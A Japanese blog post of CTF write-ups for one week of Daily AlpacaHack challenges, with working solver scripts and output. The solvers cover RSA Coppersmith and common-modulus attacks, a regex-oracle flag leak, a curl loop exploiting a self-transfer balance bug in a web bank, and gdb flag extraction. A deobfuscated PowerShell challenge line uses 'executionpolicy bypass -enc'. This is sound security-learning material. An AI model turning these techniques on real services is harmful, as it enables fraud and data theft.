Daily AlpacaHack 2週間目Writeup 12/08~12/14
Daily AlpacaHack
Daily AlpacaHackという毎日CTFを解ける初心者向けの常設CTF。
2週間目、まだ続けられてます。

Daily AlpacaHackで複数問題のWriteupを投稿できるようになりました!週ごとの記事などにぜひ pic.twitter.com/30pFSlFi2w
— AlpacaHack (@AlpacaHack) 2025年12月13日
Daily AlpacaHackで複数問題のWriteupを投稿できるようになりました!週ごとの記事などにぜひ
とのことなのですが、これもしかして僕のために実装してくれましたか?(いいえ
てことで今週もWriteUpを書きます。
この記事は nittc procon Advent Calendar 2025 の記事です。ほかの方の記事もぜひ読んでください!(登録してる人のほとんどが OB ですが。
nittc procon Advent Calendar 2025 - Adventar
現役生の皆さんもやりましょう!
12/08 [Crypto, Hard] Fully Padded RSA
Fully Padded RSA
eは大きいし、パディングもしてるし、絶対に安全です!
Crypto, Hard
import os from Crypto.Util.number import * from math import gcd flag = os.environ.get("FLAG", "Alpaca{dummy}") assert len(flag) <= 40 e1 = 65517 e2 = 65577 while True: p = getPrime(512) q = getPrime(512) if gcd((p - 1) * (q - 1), e1) == gcd((p - 1) * (q - 1), e2) == 1: break n = p * q padded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode() m = bytes_to_long(padded_flag) assert m < n c1 = pow(m, e1, n) c2 = pow(m, e2, n) print(f"{n = }") print(f"{c1 = }") print(f"{c2 = }")
eが二つあり、それぞれのeで暗号化された暗号文が渡されます。
padded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode()とパディングされており、mは大きく、nの一部がmの上位バイトとして含まれています。
私はCryptoもなにもわからないので、とりあえず以下のサイトを見るようにしてます。
使えそうなのは以下の二つです。
nが同じでeが異なる複数の暗号文 (Common Modulus) Common Modulus Attackが適用できる。
mやp, q, dの値が一部わかっている、近似できる LLLやCoppersmith methodを使ってmやp, q, dを求めることができる。
Common Modulus Attackについて調べます。
要するにe1s1+e2s2=1となるようなs1,s2をユークリッドの互除法で求めれば、mを求めることができるということでしょう。
Coppersmith methodについて調べます。
以上のサイトに平文mの上位bitまたは下位bitがわかっている場合のCoppersmithの実装方法が書いてあったのでそれを参考に実装します。
今回はpadded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode()であるため、上位何Bytesがnによってパディングされているかはわかりませんが、これは総当たりで何とかなるでしょう。
以上のサイトの通りsageで実装しました。sageを使う際はDockerを使うと楽です。
def commonModulusAttack(N, e1, c1, e2, c2): d, s1, s2 = xgcd(e1, e2) return (pow(c1, s1, N) * pow(c2, s2, N)) % N n = 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391203805852473243296747559459800718013816237662990504689724747628304890125129146326331097856907 c1 = 84316690833236468829386139306045298111202426584048821548102362931269993141514516100633466389955824290011995159677864206138653174440904170622039293036862729884826231898868928186453091113165643576890891297150845933751243965934735328928976655465009980896153972226679588496970771925581698573227941539852081781874 c2 = 74682069306151159606579889187354529286195652598555930926994495384029865435810129236911316774977007932641783161876484392995815937986886903514990618178943843429073696833993271982336114314882872652681858748846455760309012235191324385691614015531641062111894149446939460102878320469041435024347449132388644171970 e1 = 65517 e2 = 65577 m3 = commonModulusAttack(n, e1, c1, e2, c2) e=gcd(e1, e2) for i in range(41, 0, -1): n_bytes = int(n).to_bytes((int(n).bit_length() + 7) // 8, "big") n_part=n_bytes[:-i] mbar = Integer(int.from_bytes(n_part, "big")) * (256 ** i) PR.<x> = PolynomialRing(Zmod(n)) f = (mbar + x)^e - m3 kbits = 8 * i print(mbar) x0 = f.small_roots(X=2^kbits, beta=1)[0] flag=int(x0).to_bytes(i, 'big') print(flag) print(x0)
~/alpaca/crypto/fully-padded-rsa ❯ sage solver.sage ✘ 1 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100974987325425332265867508912452730230575378114891230522415777711911873845950079745924387675301941870592 b'\xdei\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}' 475065772810317418390235901303385252905458835834242947610569427483565693751862389741562215278015357 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975461514547306707905800607271499871144819915295193699330705955148810378729203048126492772885241790464 b'i\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}' 876650835875380098541082533744683463658431871066032682326190547032914628560187636464631978095485 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462390635739409841576589604621542250179420310720447176568628740094837061512450342343368240785260544 b'\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}' 562403173444322558749412073578104153416344318186819652599262574582319157971785869276434625405 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391189813195404556805069638769497530280116719850253703288913125039285904163877970952322669346816 b'Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}' 8329387881342343284394846330753293610344915109684992426232372357927444436158285194550539133 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391203690502993335491532342555749819168838882978685552479620583746097130886482608683633543741440 Traceback (most recent call last): File "/home/trimscash/alpaca/crypto/fully-padded-rsa/solver.sage.py", line 30, in <module> x0 = f.small_roots(X=_sage_const_2 **kbits, beta=_sage_const_1 )[_sage_const_0 ] # find root < 2^kbits with factor = n IndexError: list index out of range
CopperSmithよくわからないけど解けました☻
作問者の人とか賢い人とかは、mとnの差を使ってうまいことといててかしこーと思いました。
Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}
12/09 [Misc, Easy] hit-and-miss
hit-and-miss
みんな大好き正規表現🧩
Misc, Easy
import os, re FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}") assert re.fullmatch(r"Alpaca\{\w+\}", FLAG) while pattern := input("regex> "): if re.match(pattern, FLAG): print("Hit!") else: print("Miss...")
入力された正規表現によってフラグがマッチするかを返してくれるサービスが動いています。
正規表現は結構なことができて、例えばA~Zの文字にマッチする正規表現は次の通りです。
[A-Z]
また次のようにバイト文字?で範囲を指定することもできます。
[\x41-\x5a]
これを使うと効率的に見つけられそうです。具体的には1文字ごとに二分探索すればよいでしょう。
from pwn import * io = remote("アドレス", ポート番号) flag = "Alpaca{" while not flag.endswith("}"): lo = 0x21 hi = 0x7E print(lo) print(hi) while lo + 1 < hi: mid = (lo + hi) // 2 pattern = ( re.escape(flag) + "[" + "\\x" + re.escape(hex(lo)[2:]) + "-" + "\\x" + re.escape(hex(mid)[2:]) + "]" ) print(f"Trying: {pattern}") io.sendlineafter(b"regex> ", pattern.encode()) res = io.recvline().strip() if b"Hit" in res: hi = mid else: lo = mid flag += chr(hi) print(flag)
実行すると一文字ずつ確定していき、フラグが得られました。
Trying: Alpaca\{Reg3x_Crossw[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw[\x21-\x38]
Trying: Alpaca\{Reg3x_Crossw[\x21-\x2c]
Trying: Alpaca\{Reg3x_Crossw[\x2c-\x32]
Trying: Alpaca\{Reg3x_Crossw[\x2c-\x2f]
Trying: Alpaca\{Reg3x_Crossw[\x2f-\x30]
Alpaca{Reg3x_Crossw0
33
126
Trying: Alpaca\{Reg3x_Crossw0[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0[\x66-\x72]
Trying: Alpaca\{Reg3x_Crossw0[\x66-\x6c]
Trying: Alpaca\{Reg3x_Crossw0[\x6c-\x6f]
Trying: Alpaca\{Reg3x_Crossw0[\x6f-\x70]
Trying: Alpaca\{Reg3x_Crossw0[\x70-\x71]
Alpaca{Reg3x_Crossw0r
33
126
Trying: Alpaca\{Reg3x_Crossw0r[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0r[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0r[\x4f-\x5a]
Trying: Alpaca\{Reg3x_Crossw0r[\x5a-\x60]
Trying: Alpaca\{Reg3x_Crossw0r[\x60-\x63]
Trying: Alpaca\{Reg3x_Crossw0r[\x63-\x64]
Alpaca{Reg3x_Crossw0rd
33
126
Trying: Alpaca\{Reg3x_Crossw0rd[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0rd[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0rd[\x66-\x72]
Trying: Alpaca\{Reg3x_Crossw0rd[\x72-\x78]
Trying: Alpaca\{Reg3x_Crossw0rd[\x78-\x7b]
Trying: Alpaca\{Reg3x_Crossw0rd[\x7b-\x7c]
Trying: Alpaca\{Reg3x_Crossw0rd[\x7c-\x7d]
Alpaca{Reg3x_Crossw0rd}
Alpaca{Reg3x_Crossw0rd}
今回は\x41とかで直接指定しましたが、string.printableのindexで二分探索でもできますね。
この1文字ずつ二分探索する方法は、Blind SQL Injectionとかでも使われるテクニックなので覚えておくとよいですね。
12/10 [Rev, Medium] Read Assembly
Read Assembly
アセンブリを読もう!
フラグは Alpaca{challenge関数の返り値} として送信してください。
Rev, Medium
以下のようなディスアセンブルされたようなアセンブリが渡されます。Armっぽいです。
0000000000000840 <challenge>: 840: 52800000 mov w0, #0x0 // #0 844: 52800001 mov w1, #0x0 // #0 848: 52800024 mov w4, #0x1 // #1 84c: 52800002 mov w2, #0x0 // #0 850: 14000005 b 864 <challenge+0x24> 854: 0b030000 add w0, w0, w3 858: 11000421 add w1, w1, #0x1 85c: 2a0203e4 mov w4, w2 860: 2a0303e2 mov w2, w3 864: 0b040043 add w3, w2, w4 868: 3607ff61 tbz w1, #0, 854 <challenge+0x14> 86c: 11000421 add w1, w1, #0x1 870: 7100a03f cmp w1, #0x28 874: 54ffff41 b.ne 85c <challenge+0x1c> // b.any 878: d65f03c0 ret
これを読んで返り値を求めればいいですね。 といいつつ再起が入っててだるいのでPythonとかで実装しなおしました。ほとんどGPTにやってもらいました。
def challenge(): w0 = 0 w1 = 0 w4 = 1 w2 = 0 while True: w3 = w2 + w4 if (w1 & 1) == 0: w0 = w0 + w3 w1 += 1 if w1 == 40: break w4 = w2 w2 = w3 return w0 print(challenge())
フィボナッチですね。
Alpaca{102334155}
GPTに渡したら一発目で正解を出してくれてたっぽい。フィボナッチの数列も学習してるんですね。(そらそう(信じられなかったのでPythonで実装しなおしてもらった)

アセンブリがわからなければとりあえずx86_64に入門しておけばいいと思います。(今回のはArm64なので注意)
12/11 [Web, Medium] Alpaca Bank
Alpaca Bank
🦙 < 銀行を作ってみるパカ!
NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。 NOTE2: この問題は trillion bank - SECCON CTF 13 Quals のオマージュですが、元問題の知識は不要です。
Web, Medium

とりあえず、自分に向かって送金してみます。



すると成功してなぜか11yenになってます。
コードを見ていきます。重要な部分を抜粋します。
app.js
app.post('/api/transfer', (req, res) => { const { fromUser, toUser, amount } = req.body; if (!Number.isInteger(amount) || amount <= 0) { return res.status(400).send({ error: 'Invalid amount' }); } if (!users.has(fromUser) || !users.has(toUser)) { return res.status(400).send({ error: 'Invalid user ID' }); } const fromBalance = balances.get(fromUser); const toBalance = balances.get(toUser); if (fromBalance < amount) { return res.status(400).send({ error: 'Insufficient funds' }); } balances.set(fromUser, fromBalance - amount); balances.set(toUser, toBalance + amount); res.status(200).json({ receipt: `${fromUser} -> ${toUser} (${amount} yen)` }); });
ここがやばそうです。
const fromBalance = balances.get(fromUser); const toBalance = balances.get(toUser); // ryaku balances.set(fromUser, fromBalance - amount); balances.set(toUser, toBalance + amount);
引かれる前の値を使って計算しています。また自分自身を送信先に指定できるためにこのようなことが起きています。
あとは倍々でクリアです。
以下のようにDevToolsから通信を取っておいて、curlコマンドとしてコピーするのが便利です。

以下のように適当にSolverを書きます。
#!/bin/bash now_amount=10 trillion=1000000000000 while [ $now_amount -lt $trillion ]; do curl 'http://34.170[.]146.252:30021/api/transfer' \ -H 'Accept: */*' \ -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8' \ -H 'Connection: keep-alive' \ -H 'Content-Type: application/json' \ -H 'Origin: http://34.170.146.252:30021' \ -H 'Referer: http://34.170.146.252:30021/' \ --data-raw '{"fromUser":"daf8486f78f8db645266","toUser":"daf8486f78f8db645266","amount":'$now_amount'}' \ --insecure now_amount=$(( 2 * now_amount )) sleep 1 done
~/alpaca/web/alpaca-bank/web .venv ❯ sh solver.sh ✘ 126 {"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (40 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (80 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (160 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (320 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (640 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1280 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2560 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5120 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10240 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20480 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (40960 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (81920 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (163840 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (327680 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (655360 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1310720 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2621440 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5242880 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10485760 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20971520 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (41943040 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (83886080 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (167772160 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (335544320 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (671088640 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1342177280 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2684354560 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5368709120 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10737418240 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (21474836480 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (42949672960 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (85899345920 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (171798691840 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (343597383680 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (687194767360 yen)"}
この状態でSyncするとフラグがもらえました。(ここまでSolverにいれろよな

Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}
送金処理とかってちゃんと作ろうとすると実装めっちゃめんどくさそうですよね。(適当
12/12 [Rev, Hard] Sugoi Flag Checker
Sugoi Flag Checker
すごい暗号を使ったすごいフラグチェッカー
Rev, Hard
ELFの実行ファイルのchalだけ渡されます。
~/alpaca/rev/sugoi-flag-checker 10s .venv ❯ file chal chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b15c69aae76a5e1439592c86a2483231f792c39, for GNU/Linux 3.2.0, not stripped ~/alpaca/rev/sugoi-flag-checker .venv ❯ ./chal flag: a wrong...
とりあえずディスアセンブルします。
objdump -M intel -d chal
read_flag_input、mainを見ます。
0000000000001f72 <read_flag_input>: 1f72: f3 0f 1e fa endbr64 1f76: 55 push rbp 1f77: 48 89 e5 mov rbp,rsp 1f7a: 48 83 ec 30 sub rsp,0x30 1f7e: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi 1f82: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi 1f86: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx 1f8a: 48 8b 15 7f 30 00 00 mov rdx,QWORD PTR [rip+0x307f] # 5010 <stdin@GLIBC_2.2.5> 1f91: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 1f95: 89 c1 mov ecx,eax 1f97: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 1f9b: 89 ce mov esi,ecx 1f9d: 48 89 c7 mov rdi,rax 1fa0: e8 3b f1 ff ff call 10e0 <fgets@plt> 1fa5: 48 85 c0 test rax,rax 1fa8: 75 07 jne 1fb1 <read_flag_input+0x3f> 1faa: b8 00 00 00 00 mov eax,0x0 1faf: eb 38 jmp 1fe9 <read_flag_input+0x77> 1fb1: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 1fb5: 48 8d 15 ac 12 00 00 lea rdx,[rip+0x12ac] # 3268 <flag_len+0x8> 1fbc: 48 89 d6 mov rsi,rdx 1fbf: 48 89 c7 mov rdi,rax 1fc2: e8 09 f1 ff ff call 10d0 <strcspn@plt> 1fc7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 1fcb: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18] 1fcf: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 1fd3: 48 01 d0 add rax,rdx 1fd6: c6 00 00 mov BYTE PTR [rax],0x0 1fd9: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] 1fdd: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 1fe1: 48 89 10 mov QWORD PTR [rax],rdx 1fe4: b8 01 00 00 00 mov eax,0x1 1fe9: c9 leave 1fea: c3 ret 0000000000001feb <main>: 1feb: f3 0f 1e fa endbr64 1fef: 55 push rbp 1ff0: 48 89 e5 mov rbp,rsp 1ff3: 48 81 ec 80 01 00 00 sub rsp,0x180 1ffa: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 2001: 00 00 2003: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 2007: 31 c0 xor eax,eax 2009: 48 c7 85 80 fe ff ff mov QWORD PTR [rbp-0x180],0x0 2010: 00 00 00 00 2014: 48 8d 05 4f 12 00 00 lea rax,[rip+0x124f] # 326a <flag_len+0xa> 201b: 48 89 c7 mov rdi,rax 201e: b8 00 00 00 00 mov eax,0x0 2023: e8 98 f0 ff ff call 10c0 <printf@plt> 2028: 48 8d 95 80 fe ff ff lea rdx,[rbp-0x180] 202f: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90] 2036: be 80 00 00 00 mov esi,0x80 203b: 48 89 c7 mov rdi,rax 203e: e8 2f ff ff ff call 1f72 <read_flag_input> 2043: 83 f0 01 xor eax,0x1 2046: 84 c0 test al,al 2048: 74 0a je 2054 <main+0x69> 204a: b8 01 00 00 00 mov eax,0x1 204f: e9 06 01 00 00 jmp 215a <main+0x16f> 2054: 48 8b 85 80 fe ff ff mov rax,QWORD PTR [rbp-0x180] 205b: ba 20 00 00 00 mov edx,0x20 2060: 48 39 d0 cmp rax,rdx 2063: 74 19 je 207e <main+0x93> 2065: 48 8d 05 05 12 00 00 lea rax,[rip+0x1205] # 3271 <flag_len+0x11> 206c: 48 89 c7 mov rdi,rax 206f: e8 2c f0 ff ff call 10a0 <puts@plt> 2074: b8 00 00 00 00 mov eax,0x0 2079: e9 dc 00 00 00 jmp 215a <main+0x16f> 207e: 48 8b 05 bb 11 00 00 mov rax,QWORD PTR [rip+0x11bb] # 3240 <ciphertext> 2085: 48 8b 15 bc 11 00 00 mov rdx,QWORD PTR [rip+0x11bc] # 3248 <ciphertext+0x8> 208c: 48 89 85 40 ff ff ff mov QWORD PTR [rbp-0xc0],rax 2093: 48 89 95 48 ff ff ff mov QWORD PTR [rbp-0xb8],rdx 209a: 48 8b 05 af 11 00 00 mov rax,QWORD PTR [rip+0x11af] # 3250 <ciphertext+0x10> 20a1: 48 8b 15 b0 11 00 00 mov rdx,QWORD PTR [rip+0x11b0] # 3258 <ciphertext+0x18> 20a8: 48 89 85 50 ff ff ff mov QWORD PTR [rbp-0xb0],rax 20af: 48 89 95 58 ff ff ff mov QWORD PTR [rbp-0xa8],rdx 20b6: 48 8d 85 90 fe ff ff lea rax,[rbp-0x170] 20bd: 48 8d 15 6c 11 00 00 lea rdx,[rip+0x116c] # 3230 <key> 20c4: 48 89 d6 mov rsi,rdx 20c7: 48 89 c7 mov rdi,rax 20ca: e8 4f fe ff ff call 1f1e <init_cipher> 20cf: 48 c7 85 88 fe ff ff mov QWORD PTR [rbp-0x178],0x0 20d6: 00 00 00 00 20da: eb 2b jmp 2107 <main+0x11c> 20dc: 48 8d 95 40 ff ff ff lea rdx,[rbp-0xc0] 20e3: 48 8b 85 88 fe ff ff mov rax,QWORD PTR [rbp-0x178] 20ea: 48 01 c2 add rdx,rax 20ed: 48 8d 85 90 fe ff ff lea rax,[rbp-0x170] 20f4: 48 89 d6 mov rsi,rdx 20f7: 48 89 c7 mov rdi,rax 20fa: e8 49 fe ff ff call 1f48 <decrypt_block> 20ff: 48 83 85 88 fe ff ff add QWORD PTR [rbp-0x178],0x10 2106: 10 2107: 48 83 bd 88 fe ff ff cmp QWORD PTR [rbp-0x178],0x1f 210e: 1f 210f: 76 cb jbe 20dc <main+0xf1> 2111: c6 85 60 ff ff ff 00 mov BYTE PTR [rbp-0xa0],0x0 2118: 48 8d 95 40 ff ff ff lea rdx,[rbp-0xc0] 211f: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90] 2126: 48 89 d6 mov rsi,rdx 2129: 48 89 c7 mov rdi,rax 212c: e8 bf ef ff ff call 10f0 <strcmp@plt> 2131: 85 c0 test eax,eax 2133: 75 11 jne 2146 <main+0x15b> 2135: 48 8d 05 3e 11 00 00 lea rax,[rip+0x113e] # 327a <flag_len+0x1a> 213c: 48 89 c7 mov rdi,rax 213f: e8 5c ef ff ff call 10a0 <puts@plt> 2144: eb 0f jmp 2155 <main+0x16a> 2146: 48 8d 05 24 11 00 00 lea rax,[rip+0x1124] # 3271 <flag_len+0x11> 214d: 48 89 c7 mov rdi,rax 2150: e8 4b ef ff ff call 10a0 <puts@plt> 2155: b8 00 00 00 00 mov eax,0x0 215a: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 215e: 64 48 2b 14 25 28 00 sub rdx,QWORD PTR fs:0x28 2165: 00 00 2167: 74 05 je 216e <main+0x183> 2169: e8 42 ef ff ff call 10b0 <__stack_chk_fail@plt> 216e: c9 leave 216f: c3 ret
特に以下の部分を見ると、何らかの処理をした後の配列と入力した文字列をそのままstrcmpで比較していることがわかります。
212c: e8 bf ef ff ff call 10f0 <strcmp@plt>
入力した文字列をそのままと比較し、フラグがあっているかどうかを判別しているようなので、この時の何らかの処理をした後の配列はフラグだと思われます。まあgdbでここを見てみればわかります。
gdbでデバッグします。そのままのgdbだと使いづらいので、pwndbgとかを使うといいです。
b main c
適当にgdbのコマンド説明。(詳しくは調べればわかりやすいのがいっぱい出てきます。
- b: break mainにブレークポイント
- r: run プログラムの開始。ブレークポイントまでくるか、例外が出るまで続行
- c: continue ブレークポイントまでくるか、例外が出るまで続行
- ni: nexti 次の命令まで進める
- s: step 次の命令まで進める。関数呼び出しがあれば中に入る。

今回は以下の時のスタック等を見たいので、ここにブレークポイントを置いておきます。
212c: e8 bf ef ff ff call 10f0 <strcmp@plt>
b *main+0x212c-0x1feb
mainにブレークポイントを付けた際にわかるように、オフセットがついているので以上のようにしてます。
pwndbg> b main Breakpoint 2 at 0x555555555ff3

とりあえず適当に進めます。 途中、Flagの入力ののち以下のような判定が入り分岐します。
read_flag_inputで文字列(flag)を読み取り、その後入力された文字数と0x20を比較、等しければその後の処理に続きます。
203e: e8 2f ff ff ff call 1f72 <read_flag_input> 2043: 83 f0 01 xor eax,0x1 2046: 84 c0 test al,al 2048: 74 0a je 2054 <main+0x69> 204a: b8 01 00 00 00 mov eax,0x1 204f: e9 06 01 00 00 jmp 215a <main+0x16f> 2054: 48 8b 85 80 fe ff ff mov rax,QWORD PTR [rbp-0x180] 205b: ba 20 00 00 00 mov edx,0x20 2060: 48 39 d0 cmp rax,rdx 2063: 74 19 je 207e <main+0x93> 2065: 48 8d 05 05 12 00 00 lea rax,[rip+0x1205] # 3271 <flag_len+0x11> 206c: 48 89 c7 mov rdi,rax 206f: e8 2c f0 ff ff call 10a0 <puts@plt> 2074: b8 00 00 00 00 mov eax,0x0 2079: e9 dc 00 00 00 jmp 215a <main+0x16f>
なので取り合えずここを乗り越えるために0x20を入力する必要があります。もしくは、デバッガパワーで乗り越えましょう。レジスタの値を変えることができます(というかもっと言えばRIP(次に実行する命令を指すアドレス)を変えれば行きたいとこにいけます)。 以下のようなコマンドで、RAX、RIP、もしくはフラグレジスタを変えましょう。
set $rax=0x20 set $rip=分岐先のアドレス
私はひとまず0x20文字入力しました。そのほうが楽だからです。あとは文字数がその後の処理に関わる可能性があるためです。(読めば関わっているかわかるけど、読むのがめんどくさい)
0x20入力するなら、以下のとこにブレークポイントつけて実行するだけです。話が行ったり来たりしててすみません。
b *main+0x212c-0x1feb r

すると引数にフラグがありました
Alpaca{m3ccha_rand0m_5b0x_d4yo!}
12/13 [Crypto, Easy] Safe Prime
Safe Prime
Using a safe prime makes RSA secure, doesn't it?
Crypto, Easy
import os from Crypto.Util.number import getPrime, isPrime FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode() m = int.from_bytes(FLAG, 'big') while True: p = getPrime(512) q = 2 * p + 1 if isPrime(q): break n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }")
qがq=2*p+1となるようにpが生成されています。
このときn=p*q=p*(2p+1)=2p^2+pとなります。二次方程式なので、解の公式にぶち込めばpが求まります。
solver.py
import os from Crypto.Util.number import getPrime, isPrime, long_to_bytes n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 e = 65537 from math import isqrt p = (-1 + isqrt(1 + 8 * n)) // 4 q = 2 * p + 1 assert n == p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n) flag = long_to_bytes(m) print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
12/14 [Rev, Medium] power_obfus_royalty
power_obfus_royalty
literal
Powershellの王道
Rev, Medium
以下のように難読化されたパワーシェルのスクリプトpower_obfus_royalty.ps1が渡されます。

以下のような構造なので正規表現でマッチさせ、文字に置き換えるコードを猫に書いてもらいます。
[CHAr]73
import re import sys import re pattern = re.compile(r"(?:\[\s*char\s*\]\s*\d+\s*\+?\s*)+", re.IGNORECASE) def repl(m): nums = re.findall(r"\d+", m.group()) return '"' + "".join(chr(int(n)) for n in nums) + '"' def deobfuscate(code): return pattern.sub(repl, code) if __name__ == "__main__": data = open(sys.argv[1], "r", encoding="utf-8").read() out = deobfuscate(data) print(out)
あとは以下のように難読化解除していきます。
~/alpaca/rev/power-obfus-royalty .venv ❯ python solver.py power_obfus_royalty.ps1 > 1.ps1 ✘ 1 ~/alpaca/rev/power-obfus-royalty .venv ❯ python solver.py 1.ps1 > 2.ps1
ここで2.ps1を見ると、フラグ片と、Base64エンコードされている部分があります。デコードするとまた難読化された文字列なので、適当にファイルに張り付けて、またsolver.pyで難読化解除します。

IF (& ("IEX") ("iex ("(`$BUf).ComparETo(("TSGLIVE{1nv0k3_3xpr35510"[CHaR"+(powershell.exe -executionpolicy bypass -enc 略略略base64略略略)+"+"0r_p0w3r5h3ll_0bfu5ca710n}"))")")) {& ("ieX") ("wriTe-OUtpUt ("Wrong...")")} ElSE {& ("ieX") ("WrItE-ouTput ("Correct!!!")")}

何回かやると以下のように[char]の部分が破損?しているとこがあるので直してまた同様にやります。

最終的にBase64のとこは以下のようになりました。
iex (iex (""echo "n_15_an_1mp0r7an7_f3a7ur3_f"""))
あとはフラグ片をつなぎ合わせるとフラグができます。
TSGLIVE{1nv0k3_3xpr35510n_15_an_1mp0r7an7_f3a7ur3_f0r_p0w3r5h3ll_0bfu5ca710n}
終わり
1 週間分の Writeup をまとめて書くの大変や。
もう火曜だし。。
1 週間まとめて書いてる方、私以外にいるんですか?いなければ例の機能は私専用機能ということでいいな!?(いいえ
Daily AlpacaHack 1週間目Writeup 12/01~12/07
Daily AlpacaHack
Daily AlpacaHackという毎日CTFを解ける初心者向けの常設CTF。


